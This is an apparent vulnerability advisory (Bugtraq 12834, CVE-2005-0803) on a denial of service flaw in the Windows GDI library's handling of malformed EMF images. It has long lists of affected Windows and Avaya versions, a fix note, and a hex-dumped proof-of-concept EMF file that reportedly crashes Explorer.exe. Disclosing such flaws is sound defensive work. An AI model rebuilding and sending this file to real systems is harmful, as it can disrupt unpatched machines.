Microsoft Windows Graphical Device Interface Library Denial Of Service Vulnerability

BID:12834

Info

Microsoft Windows Graphical Device Interface Library Denial Of Service Vulnerability

Bugtraq ID: 12834
Class: Failure to Handle Exceptional Conditions
CVE: CVE-2005-0803
Remote: Yes
Local: Yes
Published: Mar 17 2005 12:00AM
Updated: Jul 12 2009 10:56AM
Credit: Hongzhen Zhou <[email protected]> is credited with the discovery of this issue.
Vulnerable: Microsoft Windows XP Professional x64 Edition
Microsoft Windows XP Professional SP2
Microsoft Windows XP Professional SP1
Microsoft Windows XP Professional
Microsoft Windows XP Media Center Edition SP2
Microsoft Windows XP Media Center Edition SP1
Microsoft Windows XP Media Center Edition
Microsoft Windows XP Home SP2
Microsoft Windows XP Home SP1
Microsoft Windows XP Home
Microsoft Windows Server 2003 Web Edition SP1
Microsoft Windows Server 2003 Web Edition
Microsoft Windows Server 2003 Standard x64 Edition
Microsoft Windows Server 2003 Standard Edition SP1
Microsoft Windows Server 2003 Standard Edition
Microsoft Windows Server 2003 Enterprise x64 Edition
Microsoft Windows Server 2003 Enterprise Edition Itanium SP1
Microsoft Windows Server 2003 Enterprise Edition Itanium 0
Microsoft Windows Server 2003 Enterprise Edition SP1
Microsoft Windows Server 2003 Enterprise Edition
Microsoft Windows Server 2003 Datacenter x64 Edition
Microsoft Windows Server 2003 Datacenter Edition Itanium SP1
Microsoft Windows Server 2003 Datacenter Edition Itanium 0
Microsoft Windows Server 2003 Datacenter Edition SP1
Microsoft Windows Server 2003 Datacenter Edition
Microsoft Windows 2000 Server SP4
Microsoft Windows 2000 Server SP3
Microsoft Windows 2000 Server SP2
Microsoft Windows 2000 Server SP1
Microsoft Windows 2000 Server
+ Avaya DefinityOne Media Servers
+ Avaya IP600 Media Servers
+ Avaya S3400 Message Application Server 0
+ Avaya S8100 Media Servers 0
Microsoft Windows 2000 Professional SP4
Microsoft Windows 2000 Professional SP3
Microsoft Windows 2000 Professional SP2
Microsoft Windows 2000 Professional SP1
Microsoft Windows 2000 Professional
Microsoft Windows 2000 Datacenter Server SP4
Microsoft Windows 2000 Datacenter Server SP3
Microsoft Windows 2000 Datacenter Server SP2
Microsoft Windows 2000 Datacenter Server SP1
Microsoft Windows 2000 Datacenter Server
Microsoft Windows 2000 Advanced Server SP4
Microsoft Windows 2000 Advanced Server SP3
Microsoft Windows 2000 Advanced Server SP2
Microsoft Windows 2000 Advanced Server SP1
Microsoft Windows 2000 Advanced Server
Avaya Unified Communications Center S3400
Avaya S8100 Media Servers R9
Avaya S8100 Media Servers R8
Avaya S8100 Media Servers R7
Avaya S8100 Media Servers R6
Avaya S8100 Media Servers R12
Avaya S8100 Media Servers R11
Avaya S8100 Media Servers R10
Avaya S8100 Media Servers 0
+ Microsoft Windows 2000 Server
+ Microsoft Windows NT Server 4.0 SP6a
Avaya Modular Messaging (MAS)
Avaya IP600 Media Servers R9
Avaya IP600 Media Servers R8
Avaya IP600 Media Servers R7
Avaya IP600 Media Servers R6
Avaya IP600 Media Servers R12
Avaya IP600 Media Servers R11
Avaya IP600 Media Servers R10
Avaya IP600 Media Servers
Avaya DefinityOne Media Servers R9
Avaya DefinityOne Media Servers R8
Avaya DefinityOne Media Servers R7
Avaya DefinityOne Media Servers R6
Avaya DefinityOne Media Servers R12
Avaya DefinityOne Media Servers R11
Avaya DefinityOne Media Servers R10
Avaya DefinityOne Media Servers
Not Vulnerable:

Discussion

Microsoft Windows Graphical Device Interface Library Denial Of Service Vulnerability

Reportedly, a denial of service vulnerability affects Microsoft Windows GDI library 'gdi32.dll'. This issue is due to a failure of the application to securely copy data from malformed EMF image files.

An attacker may leverage this issue to trigger a denial of service condition in software implementing the vulnerable library. Other attacks may also be possible.

Exploit / POC

Microsoft Windows Graphical Device Interface Library Denial Of Service Vulnerability

The following proof of concept EMF file in hexadecimal format will reportedly trigger this issue in 'Explorer.exe' for Microsoft Windows 2000:

A hex dumped EMF file:
-------------------------------------------------------
0000000 01 00 00 00 64 00 00 00 93 00 00 00 02 00 00 00
0000010 83 01 00 00 39 01 00 00 00 00 00 00 00 00 00 00
0000020 d1 08 00 00 be 06 00 00 20 45 4d 46 00 00 01 00
0000030 78 00 00 00 17 00 00 00 03 00 00 00 0f 00 00 00
0000040 64 00 00 00 41 00 00 00 c8 12 00 00 c2 1a 00 00
0000050 cc 00 00 00 22 01 00 00 00 00 00 00 00 00 00 00
0000060 00 00 00 00 0e 00 00 00 14 00 00 00 41 00 00 00
0000070 41 42 43 44 00 00 01 ff
-------------------------------------------------------

Solution / Fix

Microsoft Windows Graphical Device Interface Library Denial Of Service Vulnerability

Solution:
Microsoft has released a bulletin that includes fixes to address this issue for supported versions of the operating system.

Avaya advisory ASA-2005-228 has been released to identify vulnerable Avaya packages. Avaya recommends customers to apply fixes supplied by Microsoft. Please see the referenced advisory for more information.


Microsoft Windows Server 2003 Datacenter Edition SP1

Microsoft Windows XP Media Center Edition SP2

Microsoft Windows Server 2003 Enterprise Edition Itanium SP1

Microsoft Windows XP Media Center Edition SP1

Microsoft Windows Server 2003 Enterprise Edition Itanium 0

Microsoft Windows Server 2003 Standard Edition SP1

Microsoft Windows Server 2003 Standard Edition

Microsoft Windows Server 2003 Enterprise x64 Edition

Microsoft Windows Server 2003 Datacenter Edition Itanium 0

Microsoft Windows Server 2003 Datacenter x64 Edition

Microsoft Windows Server 2003 Enterprise Edition SP1

Microsoft Windows Server 2003 Datacenter Edition

Microsoft Windows 2000 Advanced Server SP4

Microsoft Windows Server 2003 Enterprise Edition

Microsoft Windows XP Home SP2

Microsoft Windows 2000 Datacenter Server SP4

Microsoft Windows Server 2003 Web Edition

Microsoft Windows XP Home SP1

Microsoft Windows Server 2003 Web Edition SP1

Microsoft Windows Server 2003 Datacenter Edition Itanium SP1

Microsoft Windows XP Professional SP2

Microsoft Windows Server 2003 Standard x64 Edition

Microsoft Windows 2000 Server SP4

Microsoft Windows 2000 Professional SP4

Microsoft Windows XP Professional SP1

References

Microsoft Windows Graphical Device Interface Library Denial Of Service Vulnerability

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